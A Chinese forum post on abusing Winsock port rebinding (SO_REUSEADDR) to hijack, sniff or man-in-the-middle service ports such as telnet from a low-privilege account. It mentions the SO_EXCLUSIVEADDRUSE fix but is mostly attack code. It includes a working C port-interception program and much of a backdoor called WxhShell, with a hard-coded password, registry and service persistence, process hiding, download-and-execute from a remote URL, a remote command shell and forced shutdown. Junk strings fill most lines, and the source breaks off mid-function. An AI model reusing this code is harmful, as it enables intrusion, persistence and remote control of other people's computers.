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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >|v=Ba6R0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t^`<*H  
9"m, p  
  saddr.sin_family = AF_INET; qJ#L)  
xAR^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m]bL)]Z  
eUX@9eML  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C}x4#bNK  
.a ~s_E  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2q2p=H>&  
ju8',ZC  
  这意味着什么?意味着可以进行如下的攻击: & gY;`*<  
THrc H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (k7;  
?y+\v'3v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9m<wcZ  
P}ehNt*($  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 R1]v}f_I"  
3N(8| wh  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0SAG6k~x  
z4 4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *O2^{ C  
Se!gs>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (1QdZD|  
[d!Af4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >VpP/Qf  
^G ]KE8  
  #include M>`?m L  
  #include DR.3 J`?K  
  #include nEjo,   
  #include    Z\ "Kd  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3MS3O.0]/  
  int main() j<. <S {  
  { 7AZ5%o  
  WORD wVersionRequested; 6Y0/i,d*  
  DWORD ret; ?7rmwy\  
  WSADATA wsaData; {jj]K.&  
  BOOL val; ;`X`c  
  SOCKADDR_IN saddr; Y?"v2~;3  
  SOCKADDR_IN scaddr; fY| @{]rx  
  int err; v*vub#wP  
  SOCKET s; $ioaunQKP  
  SOCKET sc; TMnT#ypf<5  
  int caddsize; umq$4}T '$  
  HANDLE mt; &4ug3  
  DWORD tid;   !?tu! M<1?  
  wVersionRequested = MAKEWORD( 2, 2 ); $i1>?pb3  
  err = WSAStartup( wVersionRequested, &wsaData ); AxG?zBTFx  
  if ( err != 0 ) { Y/?DSo4G  
  printf("error!WSAStartup failed!\n"); :epitpJ  
  return -1; e8WPV  
  } jgZX ~D  
  saddr.sin_family = AF_INET; I1eb31<  
   hr/xpQW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g4BwKENM  
B1 jH.(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); C9"f6>i  
  saddr.sin_port = htons(23); UgOGBj,&5W  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pn ~/!y  
  { jk WBw.(  
  printf("error!socket failed!\n");  RU3_Fso  
  return -1; &;uGIk>s  
  } baO&n  
  val = TRUE; ;iwD/=Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 LN,$P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }RC. Q`b  
  { 4nVO.Ud0$X  
  printf("error!setsockopt failed!\n"); V!yp@%D  
  return -1; K4K3< Pg  
  } -7C=- \]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,=XS%g}l4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ( S C7m /  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X:zyzEhS  
'xu7AKpU)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ul5::  
  { 7+A-7ci  
  ret=GetLastError(); {4V:[*3  
  printf("error!bind failed!\n"); &L[8Mju6  
  return -1; B8BY3~}]  
  } ]%ZjD  
  listen(s,2); dxae2 t V  
  while(1) )nbyV a  
  { Q xj|lr  
  caddsize = sizeof(scaddr); |?pYJkrYO  
  //接受连接请求 q(${jz4w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Nt,]00S\w  
  if(sc!=INVALID_SOCKET) /M{)k_V  
  { 7\Yq]:;O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &`\kb2uep  
  if(mt==NULL) v~W6yjp  
  { +(=[M]5#n  
  printf("Thread Creat Failed!\n"); S4uR \|  
  break; #q^>qX y  
  } :jN;l  
  } G41$oalQ1  
  CloseHandle(mt); G1n>@Y'j''  
  } g'l7Jr3  
  closesocket(s); })yb   
  WSACleanup(); .bY1N5=sz  
  return 0; +MZ2e^\F  
  }   `zvT5=*-#  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7u&H*e7  
  { a7 '\*  
  SOCKET ss = (SOCKET)lpParam; =fu_ Jau}  
  SOCKET sc; 0^-b}  
  unsigned char buf[4096]; iaq:5||,  
  SOCKADDR_IN saddr; ES:p^/=*  
  long num; *^&iw$Qx3  
  DWORD val; hF{mm(qyv  
  DWORD ret; L 52z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fh5^Gd~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   v*T@ <]f3j  
  saddr.sin_family = AF_INET; ;tIIEc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0$dY;,Q.  
  saddr.sin_port = htons(23); ='l6&3X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E`Zh\u)  
  { )="g?E3  
  printf("error!socket failed!\n"); gs2&0rnOy\  
  return -1; h?O%XnD  
  } }e;p8)]Wl  
  val = 100; 9"l%tq_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9i xnf=$Jp  
  { Zq6ebj  
  ret = GetLastError(); @rDv (W  
  return -1; {UjIxV(J  
  } N'1[t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,hcBiL/  
  { {Ac3/UM/  
  ret = GetLastError(); h: (l+jr  
  return -1; q?b)zeJ  
  } QH56tQq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;kcFQed\w  
  { ^gVbVz[17  
  printf("error!socket connect failed!\n"); Zp P6Q  
  closesocket(sc); 9R<J$e  
  closesocket(ss); ,HjHt\!~<  
  return -1; X wn|.  
  } N6 Cc%,  
  while(1) s?gXp{O?X  
  { +r34\mAO  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i_Q4bhVj  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Z_TbM^N  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @eD2<e  
  num = recv(ss,buf,4096,0); Wug?CFX+T  
  if(num>0) EC&19  
  send(sc,buf,num,0); CX@HG)l  
  else if(num==0) m_Y}>  
  break; ckkM)|kK  
  num = recv(sc,buf,4096,0); p RfHbPV?  
  if(num>0) =dJEcC_J  
  send(ss,buf,num,0); Mdq'> <ajL  
  else if(num==0) tLGwF3e$A  
  break; 7 5cr!+  
  } .M#>@~XR  
  closesocket(ss); &qj&WfrB,  
  closesocket(sc); - &LZle&M  
  return 0 ; OjL"0imN6  
  } {Eb2<;1o{  
pl? J<48  
kA$;vbm  
========================================================== >w'?DV>u|  
xo@/k   
下边附上一个代码,,WXhSHELL {hp@j#  
a}8>(jtSt  
========================================================== n@8{FoF  
qv >(  
#include "stdafx.h" XT;IEZQZ  
7UnO/K7oB.  
#include <stdio.h> &ppZRdq]  
#include <string.h> Pn){xfqDl  
#include <windows.h> t7& GCZ  
#include <winsock2.h> oML K!]a  
#include <winsvc.h> D}C*8s bC}  
#include <urlmon.h> Le+8s LE`Y  
dJgOfg^  
#pragma comment (lib, "Ws2_32.lib") GAe_Z( T  
#pragma comment (lib, "urlmon.lib") 4zvU"np  
3xR#,22:}  
#define MAX_USER   100 // 最大客户端连接数 H<3b+Sg  
#define BUF_SOCK   200 // sock buffer 9U%}"uE  
#define KEY_BUFF   255 // 输入 buffer BJ;cF"Kp  
T%xL=STJNy  
#define REBOOT     0   // 重启 !)1Zp*  
#define SHUTDOWN   1   // 关机 >@\?\!Go  
xH .q  
#define DEF_PORT   5000 // 监听端口 krT!AfeV  
{.[,ee-)9  
#define REG_LEN     16   // 注册表键长度 v}t :}M<;  
#define SVC_LEN     80   // NT服务名长度 "h|0]y^2  
D+nj[8y  
// 从dll定义API @G&xq "Fg7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~ .=HN}E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rY+1s^F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |0Ug~jKU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qpu2RfP  
{@`Uf;hPAX  
// wxhshell配置信息 C)dYAq3,8  
struct WSCFG { o%s}jBo}  
  int ws_port;         // 监听端口 >Qu^{o  
  char ws_passstr[REG_LEN]; // 口令 `SpS?mWA  
  int ws_autoins;       // 安装标记, 1=yes 0=no `9NnL.w!  
  char ws_regname[REG_LEN]; // 注册表键名 k:yu2dQh  
  char ws_svcname[REG_LEN]; // 服务名 S~`AnX3!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z:? <aT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {dH<Un(4Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z4tq&^ :c=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q/SC7R&"t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3S21DC@Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xVo)!83+Q  
[Cr~gd+ q  
}; 8-#2?=  
*y$ry]  
// default Wxhshell configuration E^ti !4{<  
struct WSCFG wscfg={DEF_PORT, \?I wR]@y  
    "xuhuanlingzhe", \X p"I5  
    1, 8xz7S  
    "Wxhshell", J#5o  
    "Wxhshell", s:.XF|e{  
            "WxhShell Service", |1 6v4 R  
    "Wrsky Windows CmdShell Service", pNsLoNZ3w  
    "Please Input Your Password: ", (M?Q9\X  
  1, ^vz@d+\Kd  
  "http://www.wrsky.com/wxhshell.exe", +F6_P  
  "Wxhshell.exe" BFRSYwPr  
    }; X+BSneu  
*g}&&$b0  
// 消息定义模块 XsMphZnK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Lu5.$b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1F8EL)9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *XR~fs?/*W  
char *msg_ws_ext="\n\rExit."; }J lW\#  
char *msg_ws_end="\n\rQuit."; I=-;*3g6  
char *msg_ws_boot="\n\rReboot..."; 73<yrBxp  
char *msg_ws_poff="\n\rShutdown...";  `a9>4  
char *msg_ws_down="\n\rSave to "; U Bg_b?k  
Um|Tf]q  
char *msg_ws_err="\n\rErr!"; |a\TUzq  
char *msg_ws_ok="\n\rOK!"; WHT%m|yn  
\C.@ @4{  
char ExeFile[MAX_PATH]; n[-!Jp[  
int nUser = 0; &g {_.n,  
HANDLE handles[MAX_USER]; W.<<azi  
int OsIsNt; _QCI< |A  
(`*wiu+i  
SERVICE_STATUS       serviceStatus; 0_.hU^fP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t fQq3#  
(HxF\#r?  
// 函数声明 ^%^0x'"  
int Install(void); 9jO+ew  
int Uninstall(void); N$b;8F  
int DownloadFile(char *sURL, SOCKET wsh); I'YotV7  
int Boot(int flag); (`xnA~BN  
void HideProc(void); dkC/ ?R  
int GetOsVer(void); B\yq% m  
int Wxhshell(SOCKET wsl); znRhQ+8;!  
void TalkWithClient(void *cs); ^a5>`W  
int CmdShell(SOCKET sock); a"4 6_>  
int StartFromService(void); {P+[C O  
int StartWxhshell(LPSTR lpCmdLine); Puh&F< B  
?Ea"%z*c5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u{z{3fW_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'kK%sE   
9mm(?O~'p  
// 数据结构和表定义 `7ZJB$7D|*  
SERVICE_TABLE_ENTRY DispatchTable[] = '& :"/4@)  
{ gV;GC{pY  
{wscfg.ws_svcname, NTServiceMain}, ,oil}N(  
{NULL, NULL} /L^dHI]Q  
}; 9\2&6H  
JH#?}L/0Fe  
// 自我安装 !}7m^  
int Install(void) lY`<-`{I_  
{ j+/*NM_y3  
  char svExeFile[MAX_PATH]; b<7f:drVC  
  HKEY key; ]42 l:at  
  strcpy(svExeFile,ExeFile); +3CMfYsr8  
aoS1Yt'@  
// 如果是win9x系统,修改注册表设为自启动 r0>T7yPAK  
if(!OsIsNt) { 3\7$)p+c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qiN'Tuw9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2B;QS\e"  
  RegCloseKey(key); ?YO%]mTP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1 doqznO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K(2s%  
  RegCloseKey(key); QeoDq  
  return 0; RwWQ$Eb_s  
    } "N_?yA#(j  
  } ^p/mJ1/s7  
} cO9Aw!  
else { 7O#>N}|  
W{d/m;<@N  
// 如果是NT以上系统,安装为系统服务 a6_`V;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ' iK0Wr  
if (schSCManager!=0) uip]K{/A!e  
{ 1,,-R*x  
  SC_HANDLE schService = CreateService =UY@,*q:c  
  ( S{6u\Vy  
  schSCManager, `<q5RuU  
  wscfg.ws_svcname, 5"U7I{\  
  wscfg.ws_svcdisp, Sy~1U  
  SERVICE_ALL_ACCESS, @T"385>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0sa EcJ-  
  SERVICE_AUTO_START, *VB*/^6A  
  SERVICE_ERROR_NORMAL, 1YxI q565  
  svExeFile, /_\4( vvf  
  NULL, /Y:Zqk3  
  NULL, HFOp4  
  NULL, ^Tx1y[hw$  
  NULL, ;f Gi5=-  
  NULL 4tjRju?  
  ); Hw? J1#1IE  
  if (schService!=0) >B0S5:S$W  
  { &0ra a  
  CloseServiceHandle(schService); FmPF7  
  CloseServiceHandle(schSCManager); H'2 =yhtVh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^E^:=Q?'_  
  strcat(svExeFile,wscfg.ws_svcname); $ }53f'QjW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { al/~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c@`P{ 6  
  RegCloseKey(key); Wj&s5;2a  
  return 0; &n|gPp77$  
    } *O~D lf  
  } G`jhzG  
  CloseServiceHandle(schSCManager); i{2KMa{K  
} P;34Rd  
} YQ/ *|  
z5I<,[`  
return 1; _PF><ODX2  
} {8Ll\j@ "  
V|= 1<v  
// 自我卸载 .;'xm_Gw<  
int Uninstall(void) AO6;aT  
{ jo;n~>3P  
  HKEY key; /Q-!><riD  
PLD!BD  
if(!OsIsNt) { s6I]H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <OUAppH  
  RegDeleteValue(key,wscfg.ws_regname); c1i7Rc{q  
  RegCloseKey(key);  (c"!0v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IF=rD-x  
  RegDeleteValue(key,wscfg.ws_regname); N@g+51ye  
  RegCloseKey(key); '5%DKz  
  return 0; -nW-I\d%  
  } i!NGX  
} :.<&Y=^  
} L@wnzt  
else { ag6S"IXh  
F&0rI8Nr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #!2gxm;g  
if (schSCManager!=0) T(6S~; ,Z  
{ ="`y<J P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X^ovP'c2  
  if (schService!=0) E] [DVY  
  { j[9 B,C4  
  if(DeleteService(schService)!=0) { 99 [ "I:  
  CloseServiceHandle(schService); ;$Y?j8g  
  CloseServiceHandle(schSCManager); 04s N 4C  
  return 0; f5N~K>  
  } f: R h9  
  CloseServiceHandle(schService); *M{1RMc  
  } hRP0Djc  
  CloseServiceHandle(schSCManager); ,#crtX  
} A)xI. Q6  
} .+y#7-#6  
zMa`olTZ  
return 1; ` F)Iv:;y,  
} [f'7/w+  
=Zj9F1E[i  
// 从指定url下载文件 wdg[pt />  
int DownloadFile(char *sURL, SOCKET wsh) 1||e !W  
{ V1ug.Jv^  
  HRESULT hr; @wo9;DW`  
char seps[]= "/"; <C&UD j  
char *token;  *q^'%'  
char *file; v#~,)-D&  
char myURL[MAX_PATH]; ' |4XyU=  
char myFILE[MAX_PATH]; H Q2-20  
DT*/2TH*l  
strcpy(myURL,sURL); RR"#z'zQ  
  token=strtok(myURL,seps); /F\7_  
  while(token!=NULL) 3yTBkFI!  
  { 7l?=$q>k"  
    file=token; k=LY 6  
  token=strtok(NULL,seps); Hw Db &pP"  
  } l6i 2!&8P%  
/( q*  
GetCurrentDirectory(MAX_PATH,myFILE); 2]@U$E='s  
strcat(myFILE, "\\"); h.67] U7m  
strcat(myFILE, file); A3Su&0uaB  
  send(wsh,myFILE,strlen(myFILE),0); k2xjcrg  
send(wsh,"...",3,0); 69_c,(M0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (vQShe\  
  if(hr==S_OK) C. Sb4i*  
return 0; qB8<(vBP+  
else %hXa5}JL  
return 1; a(m#GES  
j#-74{Y$ J  
} 7|{QAv  
NWKD:{  
// 系统电源模块 1r;Q5[@  
int Boot(int flag) 46mu,v  
{  "d A"N$  
  HANDLE hToken; &oT]ycz%  
  TOKEN_PRIVILEGES tkp; C4b3ZcD2  
*bR _ C"-  
  if(OsIsNt) { FCg,p2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W7.]V)$wM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }+SnY8A=KZ  
    tkp.PrivilegeCount = 1; sUg7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2hquE_1S[w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @.%ll n  
if(flag==REBOOT) { WhkE&7Gk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d@C93VYp  
  return 0; L:~ "Vw6]_  
} M,l Ib9  
else { 9;:Lf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xEbcF+@  
  return 0; wt-)5f'{  
} 0n5N-b?G-@  
  } `AYHCn  
  else { oqG 0 @@  
if(flag==REBOOT) { <}|+2f233+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PyIIdTm  
  return 0; IuRKj8J)o  
} XrYz[h*)!  
else { 6}[W%S]8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gPDc6{/C<  
  return 0; ;0ake%v]  
}  M7hff4c  
} 63ht|$G  
@*F NWT6  
return 1; `?~pk)<C].  
} 9HWtdJ+^C=  
'DVPx%p  
// win9x进程隐藏模块 x H\5T!  
void HideProc(void) !)ee{CwNc  
{ d6wsT\S  
[0  3Aej  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1XwbsKQ}  
  if ( hKernel != NULL ) ,b2Cl[  
  {  /I="+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M,NYF`;a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZE4~rq/W  
    FreeLibrary(hKernel); ?FD^S~bz-  
  } -(~CZ  
-$t#AYKz  
return; NCBS=L:  
} `ez_ {  
kAU[lPt*R  
// 获取操作系统版本 U^[<G6<9]  
int GetOsVer(void) 7?e*b(vd  
{ q0$}MB6  
  OSVERSIONINFO winfo; Xn4U!<RT"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _bu, 1EM  
  GetVersionEx(&winfo); s-Bpd#G>/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {73Z$w1%  
  return 1; `}"*i_0-5'  
  else ;ZB[g78%R%  
  return 0; UZv^3_,qz  
} e5C560  
RY/9Ku `  
// 客户端句柄模块 zaa>]~g.  
int Wxhshell(SOCKET wsl) Ee d2`~  
{ EC|t4u3  
  SOCKET wsh; Wfz&:J#  
  struct sockaddr_in client; e%SQ~n=H 9  
  DWORD myID; Q % )fuI  
dFK/  
  while(nUser<MAX_USER) RoT}L#!!  
{ t*~V]wZ  
  int nSize=sizeof(client); Fep#Pw1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +,f|Y6L<  
  if(wsh==INVALID_SOCKET) return 1; ]^p6db zWe  
&+Xj%x.]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _|`S9Nms  
if(handles[nUser]==0) 44b;]htv  
  closesocket(wsh); {IJ,y27  
else .sgP3Ah  
  nUser++; .e~17}Ka}  
  } `~F=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *{/BPc0*  
*v_+a:  
  return 0; :iP2e+j  
} 'WUd7  
Q!iM7C!8  
// 关闭 socket iG^o@*}a  
void CloseIt(SOCKET wsh) 1!~=8FTv  
{ @))PpE`co8  
closesocket(wsh); qlNK }  
nUser--; \x5b=~/   
ExitThread(0); B ;@7  
} fczId"   
|gg 6|,Bt4  
// 客户端请求句柄 gDa}8!+i  
void TalkWithClient(void *cs) =`Pgo5A  
{ sEm-Td+A5  
mfc\w'  
  SOCKET wsh=(SOCKET)cs; 1/:WA:]1 ,  
  char pwd[SVC_LEN]; ozy~`$;c  
  char cmd[KEY_BUFF]; &A)AV<=>T  
char chr[1]; fucG 9B  
int i,j; Q30A aG}f  
jhOQ)QE|  
  while (nUser < MAX_USER) { 5ro^<P0f**  
| U )  
if(wscfg.ws_passstr) { 3A!`U6C(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g4EC[>5!r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $F"'= +0  
  //ZeroMemory(pwd,KEY_BUFF); Qyx%:PE  
      i=0; a<*q+a(*W  
  while(i<SVC_LEN) { ' @i0~  
T{<riJ`O  
  // 设置超时 rozp  
  fd_set FdRead; m-Z<zEQ  
  struct timeval TimeOut; 4i|yEf  
  FD_ZERO(&FdRead); LVP2jTz  
  FD_SET(wsh,&FdRead); 38#BINhBt  
  TimeOut.tv_sec=8; wc`UcGO  
  TimeOut.tv_usec=0; nLicog)!I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F!(Vg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H0r@dn  
I7,5ID4pn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F,5~a_GP?  
  pwd=chr[0]; 3}~.#`QeY  
  if(chr[0]==0xd || chr[0]==0xa) { )_BQ@5NK  
  pwd=0; (?4m0Sn>#h  
  break; .5*5S[  
  } G'<:O(Imu  
  i++; Mtq\xF,/+  
    } /vO8s??  
8T-/G9u  
  // 如果是非法用户,关闭 socket '-c *S]:r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /6",#B}%b  
} |7ct2o~un  
xU<WUfS1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W>W b|W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HueGARS  
;+C2P@M  
while(1) { |I \&r[J  
j.or:nF  
  ZeroMemory(cmd,KEY_BUFF); 4~<78r5m  
c@f?0|66M  
      // 自动支持客户端 telnet标准   %n?&#_G|  
  j=0; ;GQCq@)-  
  while(j<KEY_BUFF) { 0+S ;0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~(aMKB  
  cmd[j]=chr[0]; mk.1jx ?l  
  if(chr[0]==0xa || chr[0]==0xd) { Hw29V //  
  cmd[j]=0; V9`?s0nn^  
  break; M]|tXo$?  
  } %[S-"k  
  j++; 'aV])(Wm>  
    } 4, EX2  
^Mvgm3hg  
  // 下载文件 Ln+;HorZ]  
  if(strstr(cmd,"http://")) { ;Qn)~b~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QrBb! .r  
  if(DownloadFile(cmd,wsh)) L;RHs hTy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gpT~3c;l=  
  else nIZ;N!r=i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -A]-o  
  } '`+8'3K~E  
  else { ICdfak  
pTeN[Yu?  
    switch(cmd[0]) { 2P, %}Ms  
  2`dKnaF|  
  // 帮助 h4ozwVA  
  case '?': { Q&5s,)w-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !#y_vz9  
    break; +-X 6 8`  
  } ,{6 Vf|?  
  // 安装 mY= Q#nG  
  case 'i': { c,j[ix  
    if(Install()) '8w}m8{y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {<cL@W  
    else B)/L[ )S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E4N/or  
    break; DbWaF5\yD  
    } 1VKu3  
  // 卸载 $ U=j<^R}a  
  case 'r': { l"zwH  
    if(Uninstall()) eQqnPqi-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0ZM#..3sI  
    else !P8Y(i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "%I<yUP]U  
    break; ]A&pX AM  
    } k'8tqIUN]  
  // 显示 wxhshell 所在路径 lxsn(- j  
  case 'p': { O\J{4EB@.  
    char svExeFile[MAX_PATH]; mV'-1  
    strcpy(svExeFile,"\n\r"); Y6 <.]H  
      strcat(svExeFile,ExeFile); j DkBe-`  
        send(wsh,svExeFile,strlen(svExeFile),0); 6%^A6U  
    break; P(%^J6[>  
    } fK|P144   
  // 重启 2WK c;?  
  case 'b': { +R8G*2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oNhCa>)/  
    if(Boot(REBOOT)) v\lKY*@f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 70<{tjyc  
    else { , Dab(  
    closesocket(wsh); "T@9#7Obu  
    ExitThread(0); 9^+E$V1@  
    } K+\2cf?bU  
    break; dL]wu! wE  
    } eC3 ~|G_O  
  // 关机 'iWDYZ?  
  case 'd': { b+`qGJrej  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QXu[<V  
    if(Boot(SHUTDOWN)) !$NQF/Ol  
